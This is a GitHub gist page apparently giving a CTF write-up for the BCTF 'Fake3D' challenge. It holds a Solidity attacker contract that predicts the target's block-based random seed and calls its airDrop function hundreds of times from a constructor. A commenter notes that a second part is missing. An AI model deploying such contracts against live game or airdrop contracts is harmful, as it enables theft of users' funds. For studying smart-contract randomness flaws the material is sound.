-
-
Save maojui/0fcd10f83f5ce233c8ce618f3c1fbb88 to your computer and use it in GitHub Desktop.
BCTF Fake3D Writeup
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
contract Attacker{ | |
using SafeMath for *; | |
constructor(Fake3D f3d) public { | |
uint256 seed = uint256(keccak256(abi.encodePacked( | |
(block.timestamp).add | |
(block.difficulty).add | |
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add | |
(block.gaslimit).add | |
((uint256(keccak256(abi.encodePacked(address(f3d))))) / (now)).add | |
(block.number) | |
))); | |
if((seed - ((seed / 1000) * 1000)) < 288){ | |
for(uint counter=0;counter<890;counter++){ | |
f3d.airDrop(); | |
} | |
} | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
you miss the 2nd part